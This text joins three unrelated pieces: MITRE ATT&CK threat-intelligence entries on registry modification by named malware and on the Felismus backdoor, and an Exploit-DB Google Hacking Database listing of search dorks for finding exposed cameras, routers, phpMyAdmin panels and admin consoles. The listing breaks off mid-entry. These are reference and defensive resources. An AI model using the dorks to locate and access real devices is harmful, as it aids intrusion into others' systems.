FIN8 has deleted Registry keys during post compromise cleanup activities.[59] Gorgon Group Gorgon Group malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under HKCU\Software\Microsoft\Office\.[60] GreyEnergy GreyEnergy modifies conditions in the Registry and adds keys.[46] Honeybee Honeybee uses a batch file that modifies Registry keys to launch a DLL into the svchost.exe process.[57] HOPLIGHT HOPLIGHT has modified Managed Object Format (MOF) files within the Registry to run specific commands and create persistence on the system.[47] Hydraq Hydraq creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. Hydraq's backdoor also enables remote attackers to modify and delete subkeys.[22][23] InvisiMole InvisiMole has a command to create, set, copy, or delete a specified Registry key or value.[24] KEYMARBLE KEYMARBLE has a command to create Registry entries for storing data under HKEY_CURRENT_USER\SOFTWARE\Microsoft\WABE\DataPath.[44] LoJax LoJax has modified the Registry key ‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute’ from ‘autocheck autochk ’ to ‘autocheck autoche ’.[52] Mosquito Mosquito stores configuration values under the Registry key HKCU\Software\Microsoft[dllname] and modifies Registry keys under HKCR\CLSID...\InprocServer32with a path to the launcher.[30] Naid Naid creates Registry entries that store information about a created service and point to a malicious DLL dropped to disk.[43] NanoCore NanoCore has the capability to edit the Registry.[25][26] Nerex Nerex creates a Registry subkey that registers a new service.[32] njRAT njRAT can create, delete, or modify a specified Registry key or value.[48][49] Patchwork A Patchwork payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.[58] PHOREAL PHOREAL is capable of manipulating the Registry.[19] PLAINTEE PLAINTEE uses reg add to add a Registry Run key for persistence.[12] PlugX PlugX has a module to create, delete, or modify Registry keys.[28] PoisonIvy PoisonIvy creates a Registry subkey that registers a new system device.[9] QUADAGENT QUADAGENT modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications.[13] QuasarRAT QuasarRAT has a command to edit the Registry on the victim’s machine.[6] Reg Reg may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface.[1] Regin Regin appears to have functionality to modify remote Registry information.[21] Remcos Remcos has full control of the Registry, including the ability to modify it.[7] Rover Rover has functionality to remove Registry Run key persistence as a cleanup procedure.[20] RTM RTM can delete all Registry entries created during its execution.[33] Shamoon Once Shamoon has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy to 1.[39][40] SOUNDBITE SOUNDBITE is capable of modifying the Registry.[19] StreamEx StreamEx has the ability to modify the Registry.[10] SynAck SynAck can manipulate Registry keys.[31] Threat Group- A Threat Group-3390 tool can create a new Registry key under HKEY_CURRENT_USER\Software\Classes\.[55] TrickBot TrickBot can modify registry entries.[27] Turla Turla has used the Registry to store encrypted payloads.[62][63] TYPEFRAME TYPEFRAME can install encrypted configuration data under the Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll and HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs.[29] Ursnif Ursnif has used Registry modifications as part of its installation routine.[50][51] Volgmer Volgmer stores the encoded configuration file in the Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Security.[15][16] Zeus Panda Zeus Panda modifies several Registry keys under HKCU\Software\Microsoft\Internet Explorer\ PhishingFilter\ to disable phishing filters.[42] zwShell zwShell can modify the Registry.[17] Mitigations Mitigation Description Restrict Registry Permissions Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation. Detection Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). [65] Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis. Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. [2] Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns [4] and RegDelNull [66]. References - Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015. - Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018. - Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018. - Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018. - Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015. - MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018. - Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018. - FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015. - Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018. - Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017. - US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018. - Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018. - Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. - Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017. - US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018. - Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018. - McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018. - Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018. - Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017. - Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to
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versions_v7-beta_techniques_T1112.txt
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Currently viewing ATT&CK v4.0 which was live between April 30, 2019 and July 30, 2019. Learn more about the versioning system or see the live site. SOFTWARE Overview 3PARA RAT 4H RAT adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android Overlay Malware Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode DroidJack dsquery DualToy Duqu DustySky Dyre Ebury Elise ELMER Emissary Emotet Empire Epic EvilGrab Exaramel Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FLIPSIDE Forfiles FruitFly FTP Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon Gooligan GravityRAT GreyEnergy gsecdump H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij hcdLoader HDoor Helminth Hi-Zor HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne Linfo Linux Rabbit LockerGoga LOWBALL Lslsass Lurid MacSpy Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder RGDoor RIPTIDE ROCKBOOT RogueRobin ROKRAT route Rover RTM Ruler RuMMS RunningRAT S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SslMM Starloader Stealth Mango StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos USBStealer Vasport VERMIN Volgmer WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell Overview 1- 3PARA RAT 4H RAT A-B adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android Overlay Malware Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP C-D Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode DroidJack dsquery DualToy Duqu DustySky Dyre E-F Ebury Elise ELMER Emissary Emotet Empire Epic EvilGrab Exaramel Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FLIPSIDE Forfiles FruitFly FTP G-I Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon Gooligan GravityRAT GreyEnergy gsecdump H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij hcdLoader HDoor Helminth Hi-Zor HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe J-L Janicab JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne Linfo Linux Rabbit LockerGoga LOWBALL Lslsass Lurid M-O MacSpy Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX_OCEANLOTUS.D OwaAuth P-Q P2P ZeuS Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT R-S RARSTONE RATANKBA RawDisk RawPOS RCSAndroid Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder RGDoor RIPTIDE ROCKBOOT RogueRobin ROKRAT route Rover RTM Ruler RuMMS RunningRAT S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SslMM Starloader Stealth Mango StreamEx Sykipot SynAck Sys Systeminfo T-V T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos USBStealer Vasport VERMIN Volgmer W-Z WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell - Home - Software - Felismus Felismus Felismus is a modular backdoor that has been used by Sowbug. [1] [2] ID: S Type: MALWARE Platforms: Windows Version: 1. Techniques Used DomainIDNameUse EnterpriseT1059Command-Line InterfaceFelismus uses command line for execution.[2]EnterpriseT1024Custom Cryptographic ProtocolSome Felismus samples use a custom encryption method for C2 traffic using AES, base64 encoding, and multiple keys.[2]EnterpriseT1036MasqueradingFelismus has masqueraded as legitimate Adobe Content Management System files.[2]EnterpriseT1105Remote File CopyFelismus can download files from remote servers.[2]EnterpriseT1063Security Software DiscoveryFelismus checks for processes associated with anti-virus vendors.[2]EnterpriseT1071Standard Application Layer ProtocolFelismus uses HTTP for C2.[2]EnterpriseT1032Standard Cryptographic ProtocolSome Felismus samples use AES to encrypt C2 traffic.[2]EnterpriseT1082System Information DiscoveryFelismus collects the system information, including hostname and OS version, and sends it to the C2 server.[2]EnterpriseT1016System Network Configuration DiscoveryFelismus collects the victim LAN IP address and sends it to the C2 server.[2]EnterpriseT1033System Owner/User DiscoveryFelismus collects the current username and sends it to the C2 server.[2] GroupsGroups that use this software: Sowbug References - Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017. - Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.
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versions_v4_software_S0171.txt
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<id>1281</id> <link>https://www.exploit-db.com/ghdb/1281</link> <category>Various Online Devices</category> <shortDescription>intext:"you to handle frequent configuration jobs easily and quickly" | intitle:"Show/Search other devices"</shortDescription> <textualDescription>ELSA DSL lan modems.</textualDescription> <query>intext:"you to handle frequent configuration jobs easily and quickly" | intitle:"Show/Search other devices"</query> <querystring>https://www.google.com/search?q=intext:%22you+to+handle+frequent+configuration+jobs+easily+and+quickly%22+%7C+intitle:%22Show/Search+other+devices%22&num=100&filter=0</querystring> <edb></edb> <date>2006-03-18</date> <author>anonymous</author> </entry> <entry> <id>6923</id> <link>https://www.exploit-db.com/ghdb/6923</link> <category>Various Online Devices</category> <shortDescription>intext:@print.epsonconnect.com intitle:series</shortDescription> <textualDescription># Google Dork: intext:@print.epsonconnect.com intitle:series # Date: 2021-05- # Exploit Author: Anmol K Sachan </textualDescription> <query>intext:@print.epsonconnect.com intitle:series</query> <querystring>https://www.google.com/search?q=intext:@print.epsonconnect.com intitle:series</querystring> <edb></edb> <date>2021-05-13</date> <author>Anmol K Sachan</author> </entry> <entry> <id>4783</id> <link>https://www.exploit-db.com/ghdb/4783</link> <category>Various Online Devices</category> <shortDescription>intext:build:SVNTag= JBoss intitle:Administration Console inurl:web-console</shortDescription> <textualDescription>JBoss AS management console. Author: Parth S. Patel https://ca.linkedin.com/in/parthpateloscp </textualDescription> <query>intext:build:SVNTag= JBoss intitle:Administration Console inurl:web-console</query> <querystring>https://www.google.com/search?q=intext:build:SVNTag= JBoss intitle:Administration Console inurl:web-console</querystring> <edb></edb> <date>2018-04-17</date> <author>Parth S. Patel</author> </entry> <entry> <id>4353</id> <link>https://www.exploit-db.com/ghdb/4353</link> <category>Various Online Devices</category> <shortDescription>intext:SOAP 1.1 intext:SOAP 1.2 intext:UPLOAD intext:GET intext:POST inurl:op</shortDescription> <textualDescription>Google Dork: intext:SOAP 1.1 intext:SOAP 1.2 intext:UPLOAD intext:GET intext:POST inurl:op Author: Aconite Description: Identify vulnerable sites that have SOAP, POST/GET functions</textualDescription> <query>intext:SOAP 1.1 intext:SOAP 1.2 intext:UPLOAD intext:GET intext:POST inurl:op</query> <querystring>https://www.google.com/search?q=intext:SOAP 1.1 intext:SOAP 1.2 intext:UPLOAD intext:GET intext:POST inurl:op</querystring> <edb></edb> <date>2016-11-18</date> <author>anonymous</author> </entry> <entry> <id>4460</id> <link>https://www.exploit-db.com/ghdb/4460</link> <category>Various Online Devices</category> <shortDescription>intext:VIEWS · Server: - Database: information_schema - Table: SCHEMA_PRIVILEGES · Browse · Structure · SQL · Search · Export</shortDescription> <textualDescription>Description : This google dork can access many websites phpmyadmin web server. Google dork: intext:VIEWS · Server: - Database: information_schema - Table: SCHEMA_PRIVILEGES · Browse · Structure · SQL · Search · Export. This google dork created by dekingofcyber( SIVABALAN )</textualDescription> <query>intext:VIEWS · Server: - Database: information_schema - Table: SCHEMA_PRIVILEGES · Browse · Structure · SQL · Search · Export</query> <querystring>https://www.google.com/search?q=intext:VIEWS · Server: - Database: information_schema - Table: SCHEMA_PRIVILEGES · Browse · Structure · SQL · Search · Export</querystring> <edb></edb> <date>2017-05-04</date> <author>anonymous</author> </entry> <entry> <id>5586</id> <link>https://www.exploit-db.com/ghdb/5586</link> <category>Various Online Devices</category> <shortDescription>intext:{{szErrorTip}} inurl:/doc/page/login.asp</shortDescription> <textualDescription>Discover Hikvision IP cameras facing the internet </textualDescription> <query>intext:{{szErrorTip}} inurl:/doc/page/login.asp</query> <querystring>https://www.google.com/search?q=intext:{{szErrorTip}} inurl:/doc/page/login.asp</querystring> <edb></edb> <date>2019-10-18</date> <author>Oscar Gil Gutierrez</author> </entry> <entry> <id>5059</id> <link>https://www.exploit-db.com/ghdb/5059</link> <category>Various Online Devices</category> <shortDescription>intitle: "Nexus Repository Manager"</shortDescription> <textualDescription>*Google dork description: *Sites running the Nexus Repository Manager *Google Search:* intitle: "Nexus Repository Manager" *Submitted by:* Alfie Website: (https://the-infosec.com) </textualDescription> <query>intitle: "Nexus Repository Manager"</query> <querystring>https://www.google.com/search?q=intitle: "Nexus Repository Manager"</querystring> <edb></edb> <date>2018-12-17</date> <author>Alfie</author> </entry> <entry> <id>8172</id> <link>https://www.exploit-db.com/ghdb/8172</link> <category>Various Online Devices</category> <shortDescription>intitle: "webcam" site: "live"</shortDescription> <textualDescription># Google Dork: intitle: "webcam" site: "live" # Various Online Devices # Date:02/05/ # Exploit Author: Ramjan Ali Sabber</textualDescription> <query>Re: GHDB - Dork</query> <querystring>https://www.google.com/search?q=Re: GHDB - Dork</querystring> <edb></edb> <date>2023-05-02</date> <author>Ramjan Ali Sabber</author> </entry> <entry> <id>7599</id> <link>https://www.exploit-db.com/ghdb/7599</link> <category>Various Online Devices</category> <shortDescription>intitle:" - General Status [none]"</shortDescription> <textualDescription> # Google Dork: intitle:" - General Status [none]" # Various Online Devices # Date: 04/11/ # Exploit Author: Nisrin Ahmed </textualDescription> <query>intitle:" - General Status [none]"</query> <querystring>https://www.google.com/search?q=intitle:" - General Status [none]"</querystring> <edb></edb> <date>2021-11-05</date> <author>Nisrin Ahmed</author> </entry> <entry> <id>7843</id> <link>https://www.exploit-db.com/ghdb/7843</link> <category>Various Online Devices</category> <shortDescription>intitle:" SyncThru Web Service" intext:"Supplies Information"</shortDescription> <textualDescription># Google Dork: intitle:" SyncThru Web Service" intext:"Supplies Information" # Various Online Devices # Date:14/06/ # Exploit Author: Yash Singh</textualDescription> <query>intitle:" SyncThru Web Service" intext:"Supplies Information"</query> <querystring>https://www.google.com/search?q=intitle:" SyncThru Web Service" intext:"Supplies Information"</querystring> <edb></edb> <date>2022-06-14</date> <author>Yash Singh</author> </entry> <entry> <id>980</id> <link>https://www.exploit-db.com/ghdb/980</link> <category>Various Online Devices</category> <shortDescription>intitle:"--- VIDEO WEB SERVER ---" intext:"Video Web Server" "Any time & Any where" username password</shortDescription> <textualDescription>AVTech Video Web Server is a surveillance producted that is directly connected to the internet It could enable the AVTech DVR series products or any camera to connect to Internet for remote monitoring or remote control. Besides, it could also enable 2 video input to connect to Internet for remote monitoring and recording. Besides the web interface it also offers an ftp server.</textualDescription> <query>intitle:"--- VIDEO WEB SERVER ---" intext:"Video Web Server" "Any time & Any where" username password</query> <querystring>https://www.google.com/search?q=%0D%0Aintitle:%22---+VIDEO+WEB+SERVER+---%22+intext:%22Video+Web+Server%22+%22Any+time+%26+Any+where%22+username+password+&c2coff=1&safe=off&filter=0</querystring> <edb></edb> <date>2005-05-14</date> <author>anonymous</author> </entry> <entry> <id>6982</id> <link>https://www.exploit-db.com/ghdb/6982</link> <category>Various Online Devices</category> <shortDescription>intitle:"3CX Phone System Management Console"</shortDescription> <textualDescription># Google Dork: intitle:"3CX Phone System Management Console" # Various Online Devices # Date: 03/06/ # Exploit Author: J. Igor Melo </textualDescription> <query>intitle:"3CX Phone System Management Console"</query> <querystring>https://www.google.com/search?q=intitle:"3CX Phone System Management Console"</querystring> <edb></edb> <date>2021-06-03</date> <author>J. Igor Melo</author> </entry> <entry> <id>7052</id> <link>https://www.exploit-db.com/ghdb/7052</link> <category>Various Online Devices</category> <shortDescription>intitle:"7100 login" "lancom"</shortDescription> <textualDescription># Google Dork: intitle:"7100 login" "lancom" # Category: Pages Containing Login Portals # Date: 05/07/ # Exploit Author: s Thakur </textualDescription> <query>intitle:"7100 login" "lancom"</query> <querystring>https://www.google.com/search?q=intitle:"7100 login" "lancom"</querystring> <edb></edb> <date>2021-08-20</date> <author>s Thakur</author> </entry> <entry> <id>6975</id> <link>https://www.exploit-db.com/ghdb/6975</link> <category>Various Online Devices</category> <shortDescription>intitle:"::: ACEmanager :::"</shortDescription> <textualDescription># Dork: intitle:"::: ACEmanager :::"</textualDescription> <query>intitle:"::: ACEmanager :::"</query> <querystring>https://www.google.com/search?q=intitle:"::: ACEmanager :::"</querystring> <edb></edb> <date>2021-06-01</date> <author>J. Igor Melo</author> </entry> <entry> <id>1248</id> <link>https://www.exploit-db.com/ghdb/1248</link> <category>Various Online Devices</category> <shortDescription>intitle:"::::: INTELLINET IP Camera Homepage :::::" OR inurl:/main_activex.asp OR inurl:/main_applet.cgi</shortDescription> <textualDescription>A variation on Jeffball55's original Intellinet Ip Camera.This search finds several more web cams.A suggested secondary search:"Administrator Menu" "camera Name" "Location" "frame rate" intitle:network.camera -pdfThanks jeffball.</textualDescription> <query>intitle:"::::: INTELLINET IP Camera Homepage :::::</query> <querystring>https://www.google.com/search?q=intitle%3A%22%3A%3A%3A%3A%3A+INTELLINET+IP+Camera+Homepage+%3A%3A%3A%3A%3A%22+OR+inurl%3A%2Fmain_activex.asp+OR+inurl%3A%2Fmain_applet.cgi&sourceid=mozilla-search&start=0&start=0&ie=utf-8&oe=utf-8&rls=org.m</querystring> <edb></edb> <date>2006-01-16</date> <author>anonymous</author> </entry> <entry> <id>7224</id> <link>https://www.exploit-db.com/ghdb/7224</link> <category>Various Online Devices</category> <shortDescription>intitle:"ACEmanager" "ALEOS Version"</shortDescription> <textualDescription># Google Dork: intitle:"ACEmanager" "ALEOS Version" # Various Online Devices # Date: 13/09/ # Exploit Author: Mugdha Peter Bansode </textualDescription> <query>intitle:"ACEmanager" "ALEOS Version"</query> <querystring>https://www.google.com/search?q=intitle:"ACEmanager" "ALEOS Version"</querystring> <edb></edb> <date>2021-09-15</date> <author>Mugdha Peter Bansode</author> </entry> <entry> <id>905</id> <link>https://www.exploit-db.com/ghdb/905</link> <category>Various Online Devices</category> <shortDescription>intitle:"actiontec" main setup status "Copyright 2001 Actiontec Electronics Inc"</shortDescription> <textualDescription>Actiontec Routers.</textualDescription> <query>intitle:"actiontec" main setup status "Copyright 2001 Actiontec Electronics Inc"</query> <querystring>https://www.google.com/search?q=intitle:%22actiontec%22+main+setup+status+%22Copyright+2001+Actiontec+Electronics+Inc%22&rls=org.mozilla:en-US:official&filter=0</querystring> <edb></edb> <date>2005-03-20</date> <author>anonymous</author> </entry> <entry> <id>886</id> <link>https://www.exploit-db.com/ghdb/886</link> <category>Various Online Devices</category> <shortDescription>intitle:"active webcam page"</shortDescription> <textualDescription>searches for "Active Webcam" feeds on websites, a popular USB webcam interface.</textualDescription> <query>intitle:"active webcam page"</query> <querystring>https://www.google.com/search?q=intitle%3A%22active+webcam+page%22</querystring> <edb></edb> <date>2005-02-15</date> <author>anonymous</author> </entry> <entry> <id>7470</id> <link>https://www.exploit-db.com/ghdb/7470</link> <category>Various Online Devices</category> <shortDescription>intitle:"ADSL Router" inurl:"/login.htm"</shortDescription> <textualDescription># Google Dork: intitle:"ADSL Router" inurl:"/login.htm" # Various Online Devices # Date: 20/10/ # Exploit Author: Yash Singh</textualDescription> <query>intitle:"ADSL Router" inurl:"/login.htm"</query> <querystring>https://www.google.com/search?q=intitle:"ADSL Router" inurl:"/login.htm"</querystring> <edb></edb> <date>2021-10-21</date> <author>Yash Singh</author> </entry> <entry> <id>6819</id> <link>https://www.exploit-db.com/ghdb/6819</link> <category>Various Online Devices</category> <shortDescription>intitle:"Advanced Setup - Security - Admin User Name & Password"</shortDescription> <textualDescription># Google Dork: intitle:"Advanced Setup - Security - Admin User Name & Password" # Various online devices (ActionTec modem configuration). # Date: 03/03/ # Exploit Author: Alexandros Pappas </textualDescription> <query>intitle:"Advanced Setup - Security - Admin User Name & Password"</query> <querystring>https://www.google.com/search?q=intitle:"Advanced Setup - Security - Admin User Name & Password"</querystring> <edb></edb> <date>2021-03-03</date> <author>Alexandros Pappas</author> </entry> <entry> <id>6713</id> <link>https://www.exploit-db.com/ghdb/6713</link> <category>Various Online Devices</category> <shortDescription>intitle:"Agent web client: Phone Login"</shortDescription> <textualDescription># Google Dork: intitle:"Agent web client: Phone Login" # Pages containing login portals. # Date: 3/12/ # Exploit Author: Alexandros Pappas </textualDescription> <query>intitle:"Agent web client: Phone Login"</query> <querystring>https://www.google.com/search?q=intitle:"Agent web client: Phone Login"</querystring> <edb></edb> <date>2020-12-04</date> <author>Alexandros Pappas</author> </entry> <entry> <id>6969</id> <link>https://www.exploit-db.com/ghdb/6969</link> <category>Various Online Devices</category> <shortDescription>intitle:"Alarm Panel" intext:"Climax Tech. Co., Ltd."</shortDescription> <textualDescription># Dork: intitle:"Alarm Panel" intext:"Climax Tech. Co., Ltd."</textualDescription> <query>intitle:"Alarm Panel" intext:"Climax Tech. Co., Ltd."</query> <querystring>https://www.google.com/search?q=intitle:"Alarm Panel" intext:"Climax Tech. Co., Ltd."</querystring> <edb></edb> <date>2021-05-28</date> <author>J. Igor Melo</author> </entry> <entry> <id>3992</id> <link>https://www.exploit-db.com/ghdb/3992</link> <category>Various Online Devices</category> <shortDescription>intitle:"AP Router New Generation" intext:"Status do AP Router"</shortDescription> <textualDescription>intitle:"AP Router New Generation" intext:"Status do AP Router" Share-Link</textualDescription> <query>intitle:"AP Router New Generation" intext:"Status do AP Router"</query> <querystring>https://www.google.com/search?q=intitle:"AP 